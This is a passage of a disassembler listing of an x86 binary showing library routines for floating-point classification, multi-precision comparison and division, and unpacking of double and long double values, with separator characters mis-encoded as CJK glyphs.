loc_8057ECA: ; CODE XREF: sub_8057E98+2Bj mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057ED0: ; CODE XREF: sub_8057E98+11j ; sub_8057E98+1Aj ... xor eax, eax mov esp, ebp pop ebp retn sub_8057E98 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8057ED8 proc near ; CODE XREF: sub_8053310+199p arg_0 = dword ptr 8 arg_6 = word ptr 0Eh push ebp mov ebp, esp xor edx, edx mov ax, [ebp+arg_6] shr ax, 4 and eax, 7FFh cmp eax, 7FFh jnz short loc_8057F05 test dword ptr [ebp+0Ch], 0FFFFFh jnz short loc_8057F00 cmp [ebp+arg_0], 0 jz short loc_8057F05 loc_8057F00: ; CODE XREF: sub_8057ED8+20j mov edx, 1 loc_8057F05: ; CODE XREF: sub_8057ED8+17j ; sub_8057ED8+26j mov eax, edx mov esp, ebp pop ebp retn sub_8057ED8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8057F0C proc near ; CODE XREF: sub_8053310+109p arg_0 = dword ptr 8 arg_7 = byte ptr 0Fh arg_8 = word ptr 10h push ebp mov ebp, esp xor edx, edx mov ax, [ebp+arg_8] and eax, 7FFFh cmp eax, 7FFFh jnz short loc_8057F41 cmp [ebp+arg_7], 0 jge short loc_8057F41 test dword ptr [ebp+0Ch], 3FFFFFFFh jnz short loc_8057F3C cmp [ebp+arg_0], 0 jnz short loc_8057F3C test [ebp+arg_7], 40h jz short loc_8057F41 loc_8057F3C: ; CODE XREF: sub_8057F0C+22j ; sub_8057F0C+28j mov edx, 1 loc_8057F41: ; CODE XREF: sub_8057F0C+13j ; sub_8057F0C+19j ... mov eax, edx mov esp, ebp pop ebp retn sub_8057F0C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8057F48 proc near ; CODE XREF: sub_8053310+76Ap ; sub_8058094+474p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [ebp+arg_8] dec eax js short loc_8057F69 db 8Dh,76h,0 ; lea esi, [esi+0] loc_8057F5C: ; CODE XREF: sub_8057F48+1Fj mov ecx, [esi+eax*4] mov edx, [ebx+eax*4] cmp ecx, edx jnz short loc_8057F70 dec eax jns short loc_8057F5C loc_8057F69: ; CODE XREF: sub_8057F48+Fj xor eax, eax jmp short loc_8057F7E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057F70: ; CODE XREF: sub_8057F48+1Cj mov eax, 0FFFFFFFFh cmp ecx, edx jbe short loc_8057F7E mov eax, 1 loc_8057F7E: ; CODE XREF: sub_8057F48+23j ; sub_8057F48+2Fj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8057F48 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8057F88 proc near ; CODE XREF: sub_8053310+202p var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch push edi push esi push ebx mov eax, [ebp+arg_0] mov edi, [ebp+arg_8] mov edx, [ebp+arg_C] mov ecx, [ebp+arg_10] mov [ebp+var_8], ecx mov ecx, [ebp+arg_14] mov [ebp+var_4], ecx mov ebx, [ebp+var_4] shr ebx, 1Fh mov [edx], ebx mov edx, [ebp+var_4] shr edx, 14h and edx, 7FFh add edx, 0FFFFFC01h mov [edi], edx mov ecx, [ebp+var_8] mov [eax], ecx mov esi, [ebp+var_4] and esi, 0FFFFFh mov [eax+4], esi mov edx, [ebp+var_4] shr edx, 10h test dx, 7FF0h jnz loc_805807C cmp dword ptr [eax], 0 jnz short loc_8057FF8 test esi, esi jnz short loc_8057FFE mov dword ptr [edi], 0 jmp loc_8058083 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057FF8: ; CODE XREF: sub_8057F88+5Fj cmp dword ptr [eax+4], 0 jz short loc_8058034 loc_8057FFE: ; CODE XREF: sub_8057F88+63j bsr edx, [eax+4] mov esi, edx xor esi, 1Fh add esi, 0FFFFFFF5h mov ebx, [eax+4] mov ecx, esi shl ebx, cl mov [ebp+var_C], ebx mov edx, 20h sub edx, esi mov ebx, [eax] mov ecx, edx shr ebx, cl mov edx, ebx or edx, [ebp+var_C] mov [eax+4], edx mov ecx, esi shl dword ptr [eax], cl mov ebx, 0FFFFFC02h jmp short loc_8058074 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058034: ; CODE XREF: sub_8057F88+74j bsr edx, [eax] mov esi, edx xor esi, 1Fh cmp esi, 0Ah jle short loc_8058058 lea edx, [esi-0Bh] mov ebx, [eax] mov ecx, edx shl ebx, cl mov [eax+4], ebx mov dword ptr [eax], 0 jmp short loc_805806F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058058: ; CODE XREF: sub_8057F88+B7j mov edx, 0Bh sub edx, esi mov ebx, [eax] mov ecx, edx shr ebx, cl mov [eax+4], ebx lea edx, [esi+15h] mov ecx, edx shl dword ptr [eax], cl loc_805806F: ; CODE XREF: sub_8057F88+CBj mov ebx, 0FFFFFBEDh loc_8058074: ; CODE XREF: sub_8057F88+AAj sub ebx, esi mov [edi], ebx jmp short loc_8058083 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805807C: ; CODE XREF: sub_8057F88+56j or dword ptr [eax+4], 100000h loc_8058083: ; CODE XREF: sub_8057F88+6Bj ; sub_8057F88+F0j mov eax, 2 lea esp, [ebp+var_18] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8057F88 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8058094 proc near ; CODE XREF: sub_80531DC+88p var_60 = byte ptr -60h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 54h push edi push esi push ebx mov [ebp+var_4], 0 cmp [ebp+arg_10], 1 jz short loc_80580D8 jg short loc_80580B8 cmp [ebp+arg_10], 0 jz short loc_80580C8 jmp loc_80584C4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80580B8: ; CODE XREF: sub_8058094+16j cmp [ebp+arg_10], 2 jz loc_8058204 jmp loc_80584C4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80580C8: ; CODE XREF: sub_8058094+1Cj mov eax, 1 cdq idiv [ebp+arg_10] jmp loc_8058627 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80580D8: ; CODE XREF: sub_8058094+14j mov eax, [ebp+arg_C] mov esi, [eax] mov edx, [ebp+arg_8] mov ebx, [ebp+arg_4] mov ecx, [ebx+edx*4-4] cmp ecx, esi jb short loc_80580F4 mov [ebp+var_4], 1 sub ecx, esi loc_80580F4: ; CODE XREF: sub_8058094+55j mov edi, [ebp+arg_8] add edi, 0FFFFFFFEh mov [ebp+var_54], edi js loc_80581FA mov eax, edi not eax and eax, 3 mov [ebp+var_30], eax cmp edi, 0FFFFFFFFh jle short loc_805815D test eax, eax jz short loc_8058180 cmp eax, 3 jge short loc_805815D cmp eax, 2 jge short loc_805813E mov eax, [ebp+arg_4] mov eax, [eax+edi*4] mov [ebp+var_34], eax mov edx, ecx div esi mov ebx, [ebp+arg_0] mov ecx, edx mov [ebx+edi*4], eax mov edi, [ebp+arg_8] add edi, 0FFFFFFFDh mov [ebp+var_54], edi loc_805813E: ; CODE XREF: sub_8058094+8Aj mov eax, [ebp+var_54] mov edx, [ebp+arg_4] mov eax, [edx+eax*4] mov [ebp+var_38], eax mov edx, ecx div esi mov ebx, [ebp+var_54] mov edi, [ebp+arg_0] mov ecx, edx mov [edi+ebx*4], eax dec ebx mov [ebp+var_54], ebx loc_805815D: ; CODE XREF: sub_8058094+7Cj ; sub_8058094+85j mov eax, [ebp+var_54] mov edx, [ebp+arg_4] mov eax, [edx+eax*4] mov [ebp+var_3C], eax mov edx, ecx div esi mov ebx, [ebp+var_54] mov edi, [ebp+arg_0] mov ecx, edx mov [edi+ebx*4], eax dec [ebp+var_54] js short loc_80581FA db 8Dh,76h,0 ; lea esi, [esi+0] loc_8058180: ; CODE XREF: sub_8058094+80j ; sub_8058094+164j mov eax, [ebp+var_54] mov edx, [ebp+arg_4] mov eax, [edx+eax*4] mov [ebp+var_40], eax mov edx, ecx div esi mov ebx, [ebp+var_54] mov edi, [ebp+arg_0] mov ecx, edx mov [edi+ebx*4], eax dec ebx mov eax, [ebp+arg_4] mov eax, [eax+ebx*4] mov [ebp+var_44], eax div esi mov ecx, edx mov [edi+ebx*4], eax mov edx, [ebp+var_54] add edx, 0FFFFFFFEh mov [ebp+var_30], edx mov ebx, [ebp+arg_4] mov ebx, [ebx+edx*4] mov [ebp+var_48], ebx mov eax, [ebp+var_48] mov edx, ecx div esi mov ebx, [ebp+var_30] mov edi, [ebp+arg_0] mov ecx, edx mov [edi+ebx*4], eax mov eax, [ebp+var_54] add eax, 0FFFFFFFDh mov [ebp+var_30], eax mov edx, [ebp+arg_4] mov edx, [edx+eax*4] mov [ebp+var_4C], edx mov eax, [ebp+var_4C] mov edx, ecx div esi mov ebx, [ebp+var_30] mov edi, [ebp+arg_0] mov ecx, edx mov [edi+ebx*4], eax add [ebp+var_54], 0FFFFFFFCh jns short loc_8058180 loc_80581FA: ; CODE XREF: sub_8058094+69j ; sub_8058094+E7j mov eax, [ebp+arg_4] mov [eax], ecx jmp loc_8058624 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058204: ; CODE XREF: sub_8058094+28j mov ebx, [ebp+arg_4] mov edx, [ebp+arg_8] lea ebx, [ebx+edx*4-8] mov [ebp+arg_4], ebx mov edi, [ebp+arg_C] mov edi, [edi+4] mov [ebp+var_C], edi mov eax, [ebp+arg_C] mov esi, [eax] mov edx, [ebx+4] mov [ebp+var_30], edx mov ecx, [ebx] cmp edx, edi jb short loc_8058243 ja short loc_8058231 cmp ecx, esi jb short loc_8058243 loc_8058231: ; CODE XREF: sub_8058094+197j mov [ebp+var_4], 1 mov ebx, [ebp+var_30] sub ecx, esi sbb ebx, [ebp+var_C] mov [ebp+var_30], ebx loc_8058243: ; CODE XREF: sub_8058094+195j ; sub_8058094+19Bj mov edi, [ebp+arg_8] sub edi, [ebp+arg_10] mov [ebp+var_8], edi dec [ebp+var_8] js loc_80584B4 mov eax, [ebp+var_8] mov edx, [ebp+arg_0] lea eax, [edx+eax*4] mov [ebp+var_20], eax mov edx, [ebp+var_8] not edx and edx, 1 mov [ebp+var_54], edx cmp [ebp+var_8], 0FFFFFFFFh jle short loc_805827A test edx, edx jz loc_8058336 loc_805827A: ; CODE XREF: sub_8058094+1DCj add [ebp+arg_4], 0FFFFFFFCh mov ebx, [ebp+var_C] cmp [ebp+var_30], ebx jnz short loc_80582CC mov [ebp+var_50], 0FFFFFFFFh add ecx, [ebp+var_30] mov [ebp+var_2C], ecx mov edi, [ebp+var_30] cmp ecx, edi jnb short loc_80582BC mov eax, ecx sub eax, esi mov [ebp+var_2C], eax mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, esi adc eax, 0 mov [ebp+var_30], eax mov ebx, [ebp+var_20] mov dword ptr [ebx], 0FFFFFFFFh jmp short loc_8058329 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80582BC: ; CODE XREF: sub_8058094+204j mov [ebp+var_30], esi test esi, esi jz short loc_80582C6 dec [ebp+var_30] loc_80582C6: ; CODE XREF: sub_8058094+22Dj mov ecx, esi neg ecx jmp short loc_80582E1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80582CC: ; CODE XREF: sub_8058094+1F0j mov eax, ecx mov edx, [ebp+var_30] div [ebp+var_C] mov [ebp+var_2C], edx mov [ebp+var_50], eax mul esi mov [ebp+var_30], edx mov ecx, eax loc_80582E1: ; CODE XREF: sub_8058094+236j mov ebx, [ebp+arg_4] mov ebx, [ebx] mov [ebp+var_54], ebx loc_80582E9: ; CODE XREF: sub_8058094+27Bj mov edi, [ebp+var_2C] cmp [ebp+var_30], edi ja short loc_80582F8 jnz short loc_8058311 cmp [ebp+var_54], ecx jnb short loc_8058311 loc_80582F8: ; CODE XREF: sub_8058094+25Bj dec [ebp+var_50] mov eax, [ebp+var_30] sub ecx, esi sbb eax, 0 mov [ebp+var_30], eax mov edx, [ebp+var_C] add [ebp+var_2C], edx cmp [ebp+var_2C], edx jnb short loc_80582E9 loc_8058311: ; CODE XREF: sub_8058094+25Dj ; sub_8058094+262j mov edi, [ebp+var_50] mov ebx, [ebp+var_20] mov [ebx], edi mov eax, [ebp+var_2C] mov edx, [ebp+var_54] sub edx, ecx sbb eax, [ebp+var_30] mov ecx, edx mov [ebp+var_30], eax loc_8058329: ; CODE XREF: sub_8058094+223j add [ebp+var_20], 0FFFFFFFCh dec [ebp+var_8] js loc_80584B4 loc_8058336: ; CODE XREF: sub_8058094+1E0j mov ebx, [ebp+var_20] mov [ebp+var_24], ebx mov [ebp+var_28], ebx nop loc_8058340: ; CODE XREF: sub_8058094+41Aj mov edi, [ebp+arg_4] add edi, 0FFFFFFFCh mov [ebp+var_54], edi mov eax, [ebp+var_C] cmp [ebp+var_30], eax jnz short loc_8058394 mov [ebp+var_50], 0FFFFFFFFh add ecx, [ebp+var_30] mov [ebp+var_2C], ecx mov edx, [ebp+var_30] cmp ecx, edx jnb short loc_8058384 mov ebx, ecx sub ebx, esi mov [ebp+var_2C], ebx mov ecx, [edi] add ecx, esi adc ebx, 0 mov [ebp+var_30], ebx mov edi, [ebp+var_28] mov dword ptr [edi], 0FFFFFFFFh jmp short loc_80583F1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058384: ; CODE XREF: sub_8058094+2CFj mov [ebp+var_30], esi test esi, esi jz short loc_805838E dec [ebp+var_30] loc_805838E: ; CODE XREF: sub_8058094+2F5j mov ecx, esi neg ecx jmp short loc_80583A9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058394: ; CODE XREF: sub_8058094+2BBj mov eax, ecx mov edx, [ebp+var_30] div [ebp+var_C] mov [ebp+var_2C], edx mov [ebp+var_50], eax mul esi mov [ebp+var_30], edx mov ecx, eax loc_80583A9: ; CODE XREF: sub_8058094+2FEj mov ebx, [ebp+var_54] mov ebx, [ebx] mov [ebp+var_54], ebx loc_80583B1: ; CODE XREF: sub_8058094+343j mov edi, [ebp+var_2C] cmp [ebp+var_30], edi ja short loc_80583C0 jnz short loc_80583D9 cmp [ebp+var_54], ecx jnb short loc_80583D9 loc_80583C0: ; CODE XREF: sub_8058094+323j dec [ebp+var_50] mov eax, [ebp+var_30] sub ecx, esi sbb eax, 0 mov [ebp+var_30], eax mov edx, [ebp+var_C] add [ebp+var_2C], edx cmp [ebp+var_2C], edx jnb short loc_80583B1 loc_80583D9: ; CODE XREF: sub_8058094+325j ; sub_8058094+32Aj mov edi, [ebp+var_50] mov ebx, [ebp+var_24] mov [ebx], edi mov eax, [ebp+var_2C] mov edx, [ebp+var_54] sub edx, ecx sbb eax, [ebp+var_30] mov ecx, edx mov [ebp+var_30], eax loc_80583F1: ; CODE XREF: sub_8058094+2EBj add [ebp+arg_4], 0FFFFFFF8h mov ebx, [ebp+var_C] cmp [ebp+var_30], ebx jnz short loc_8058444 mov [ebp+var_50], 0FFFFFFFFh add ecx, [ebp+var_30] mov [ebp+var_2C], ecx mov edi, [ebp+var_30] cmp ecx, edi jnb short loc_8058434 mov eax, ecx sub eax, esi mov [ebp+var_2C], eax mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, esi adc eax, 0 mov [ebp+var_30], eax mov ebx, [ebp+var_28] mov dword ptr [ebx-4], 0FFFFFFFFh jmp short loc_80584A2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058434: ; CODE XREF: sub_8058094+37Bj mov [ebp+var_30], esi test esi, esi jz short loc_805843E dec [ebp+var_30] loc_805843E: ; CODE XREF: sub_8058094+3A5j mov ecx, esi neg ecx jmp short loc_8058459 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058444: ; CODE XREF: sub_8058094+367j mov eax, ecx mov edx, [ebp+var_30] div [ebp+var_C] mov [ebp+var_2C], edx mov [ebp+var_50], eax mul esi mov [ebp+var_30], edx mov ecx, eax loc_8058459: ; CODE XREF: sub_8058094+3AEj mov ebx, [ebp+arg_4] mov ebx, [ebx] mov [ebp+var_54], ebx loc_8058461: ; CODE XREF: sub_8058094+3F3j mov edi, [ebp+var_2C] cmp [ebp+var_30], edi ja short loc_8058470 jnz short loc_8058489 cmp [ebp+var_54], ecx jnb short loc_8058489 loc_8058470: ; CODE XREF: sub_8058094+3D3j dec [ebp+var_50] mov eax, [ebp+var_30] sub ecx, esi sbb eax, 0 mov [ebp+var_30], eax mov edx, [ebp+var_C] add [ebp+var_2C], edx cmp [ebp+var_2C], edx jnb short loc_8058461 loc_8058489: ; CODE XREF: sub_8058094+3D5j ; sub_8058094+3DAj mov edi, [ebp+var_50] mov ebx, [ebp+var_24] mov [ebx-4], edi mov eax, [ebp+var_2C] mov edx, [ebp+var_54] sub edx, ecx sbb eax, [ebp+var_30] mov ecx, edx mov [ebp+var_30], eax loc_80584A2: ; CODE XREF: sub_8058094+39Bj add [ebp+var_24], 0FFFFFFF8h add [ebp+var_28], 0FFFFFFF8h add [ebp+var_8], 0FFFFFFFEh jns loc_8058340 loc_80584B4: ; CODE XREF: sub_8058094+1BBj ; sub_8058094+29Cj mov edi, [ebp+var_30] mov ebx, [ebp+arg_4] mov [ebx+4], edi mov [ebx], ecx jmp loc_8058624 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80584C4: ; CODE XREF: sub_8058094+1Ej ; sub_8058094+2Ej mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lea edx, [edx+eax*4] mov [ebp+arg_4], edx mov ebx, [ebp+arg_10] lea esi, ds:0[ebx*4] add [ebp+arg_C], esi mov edi, [ebp+arg_C] mov edi, [edi-4] mov [ebp+var_14], edi mov eax, [ebp+arg_C] mov eax, [eax-8] mov [ebp+var_18], eax mov ecx, [edx-4] cmp ecx, edi jb short loc_8058541 ja short loc_8058514 mov eax, ebx dec eax push eax mov eax, [ebp+arg_C] sub eax, esi push eax mov eax, [ebp+arg_4] sub eax, esi push eax call sub_8057F48 add esp, 0Ch test eax, eax jl short loc_805853B loc_8058514: ; CODE XREF: sub_8058094+462j mov edx, [ebp+arg_10] push edx lea ebx, ds:0[edx*4] mov edi, [ebp+arg_C] sub edi, ebx push edi mov eax, [ebp+arg_4] sub eax, ebx push eax push eax call sub_805A010 mov [ebp+var_4], 1 add esp, 10h loc_805853B: ; CODE XREF: sub_8058094+47Ej mov edx, [ebp+arg_4] mov ecx, [edx-4] loc_8058541: ; CODE XREF: sub_8058094+460j mov ebx, [ebp+arg_8] sub ebx, [ebp+arg_10] mov [ebp+var_10], ebx dec [ebp+var_10] js loc_8058624 mov edi, [ebp+arg_4] add edi, 0FFFFFFFCh mov [ebp+var_1C], edi loc_805855C: ; CODE XREF: sub_8058094+58Aj add [ebp+var_1C], 0FFFFFFFCh add [ebp+arg_4], 0FFFFFFFCh cmp [ebp+var_14], ecx jnz short loc_8058570 mov esi, 0FFFFFFFFh jmp short loc_80585BD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058570: ; CODE XREF: sub_8058094+4D3j mov eax, [ebp+var_1C] mov eax, [eax] mov edx, ecx div [ebp+var_14] mov [ebp+var_50], edx mov esi, eax mov eax, [ebp+var_18] mul esi mov [ebp+var_54], edx mov ecx, eax mov ebx, [ebp+var_50] cmp edx, ebx ja short loc_805859C jnz short loc_80585BD lea esi, [esi] loc_8058594: ; CODE XREF: sub_8058094+527j mov edi, [ebp+var_1C] cmp [edi-4], ecx jnb short loc_80585BD loc_805859C: ; CODE XREF: sub_8058094+4FAj ; sub_8058094+525j dec esi mov eax, [ebp+var_14] add [ebp+var_50], eax cmp [ebp+var_50], eax jb short loc_80585BD cmp [ebp+var_18], ecx jbe short loc_80585B0 dec [ebp+var_54] loc_80585B0: ; CODE XREF: sub_8058094+517j sub ecx, [ebp+var_18] mov edx, [ebp+var_50] cmp [ebp+var_54], edx ja short loc_805859C jz short loc_8058594 loc_80585BD: ; CODE XREF: sub_8058094+4DAj ; sub_8058094+4FCj ... push esi mov ebx, [ebp+arg_10] push ebx lea edi, ds:0[ebx*4] mov eax, [ebp+arg_C] sub eax, edi mov [ebp+var_50], eax push eax mov edx, [ebp+arg_4] sub edx, edi mov [ebp+var_54], edx push edx call sub_805A0B0 mov ecx, eax add esp, 10h mov ebx, [ebp+arg_4] cmp [ebx], ecx jz short loc_805860D mov edi, [ebp+arg_10] push edi mov eax, [ebp+var_50] push eax mov edx, [ebp+var_54] push edx push edx call sub_8066380 mov ecx, eax add esp, 10h test ecx, ecx jnz short loc_805860C call abort loc_805860C: ; CODE XREF: sub_8058094+571j dec esi loc_805860D: ; CODE XREF: sub_8058094+556j mov ebx, [ebp+var_10] mov edi, [ebp+arg_0] mov [edi+ebx*4], esi mov eax, [ebp+var_1C] mov ecx, [eax] dec [ebp+var_10] jns loc_805855C loc_8058624: ; CODE XREF: sub_8058094+16Bj ; sub_8058094+42Bj ... mov eax, [ebp+var_4] loc_8058627: ; CODE XREF: sub_8058094+3Dj lea esp, [ebp+var_60] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8058094 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8058634 proc near ; CODE XREF: sub_8053310+16Ap var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 10h push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] mov edx, [ebp+arg_C] mov eax, [ebp+arg_10] mov ecx, [ebp+arg_14] mov [ebp+var_C], eax mov [ebp+var_8], ecx mov eax, [ebp+arg_18] mov [ebp+var_4], eax mov al, byte ptr [ebp+var_4+1] shr al, 7 and eax, 0FFh mov [edx], eax mov ax, word ptr [ebp+var_4] and eax, 7FFFh add eax, 0FFFFC001h mov [esi], eax mov eax, [ebp+var_C] mov [ebx], eax mov eax, [ebp+var_8] mov [ebx+4], eax test [ebp+var_4], 7FFFh jnz short loc_80586FC cmp dword ptr [ebx], 0 jnz short loc_805869C test eax, eax jnz short loc_80586A2 mov dword ptr [esi], 0 jmp short loc_80586FC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805869C: ; CODE XREF: sub_8058634+58j cmp dword ptr [ebx+4], 0 jz short loc_80586DC loc_80586A2: ; CODE XREF: sub_8058634+5Cj bsr eax, [ebx+4] xor al, 1Fh mov [ebp+var_10], eax test eax, eax jz short loc_80586CF mov edx, [ebx+4] mov ecx, eax shl edx, cl mov eax, 20h sub eax, ecx mov edi, [ebx] mov ecx, eax shr edi, cl mov eax, edi or edx, eax mov [ebx+4], edx mov ecx, [ebp+var_10] shl dword ptr [ebx], cl loc_80586CF: ; CODE XREF: sub_8058634+79j mov edi, 0FFFFC002h sub edi, [ebp+var_10] jmp short loc_80586FA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80586DC: ; CODE XREF: sub_8058634+6Cj bsr eax, [ebx] xor al, 1Fh 